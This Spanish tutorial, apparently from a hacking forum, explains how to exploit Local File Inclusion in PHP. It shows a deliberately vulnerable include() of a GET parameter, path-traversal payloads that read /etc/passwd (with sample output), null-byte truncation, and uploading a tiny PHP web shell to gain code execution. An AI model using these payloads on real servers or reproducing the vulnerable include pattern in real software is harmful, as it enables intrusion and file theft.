¿De que se trata?Se trata de un bug que permite la ejecución de código de un archivo local.
Ejemplo de LFI:
<?php
include('./toolz/'.$_GET['archivo']);
?>
En ese código la función include ejecuta el codigo de './toolz/'.$_GET['archivo']. Siendo $_GET['archivo'] una variable de entrada obtenida por get. ejemplo: index.php?archivo=file.rar
Como explotarloLa manera de explotarlo es modificando la variable de entrada por una que nosotros queramos, para así, conseguir ejecutar o leer el contenido de el archivo que nosotros le indiquemos.
Teniendo el código anterior un ejemplo seria:
index.php?archivo=../../../../../../../etc/passwd así leeríamos el archivo /etc/passwd que contiene los nombres de los usuarios en linux:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
Utilizando el null byteHay veces en las que el código que tiene LFI es algo asi:
<?php
include('./toolz/'.$_GET['archivo'].'.inc');
?>
En ese caso en teoría solo podríamos leer archivos con extensión .inc. Pero con el null byte podemos hacer que php ignore todos los caracteres después de %00. Así conseguiríamos quitar el .inc del final.
Ejemplo:
index.php?archivo=../../../../../etc/passwd%00de aquí en adelante php no leera nada
Nota: El null byte no funciona en todos los servidores.
Ejecutando php con un bug LFITenemos que conseguir subir/modificar un archivo del servidor, no importa la extensión, con código php en su interior al servidor en el que se encuentra el bug LFI. Para asi ejecutar el código de su interior.
Por ejemplo yo gracias a un uploader e subido un archivo .rar con este código:
<?php
include($_GET['shell']);
?>
luego tienes que sacar la path donde se encuentra el archivo que has subido/modificado y incluir gracias al lfi y tu código php se ejecutara.
Saludos y no dudéis en preguntar dudas...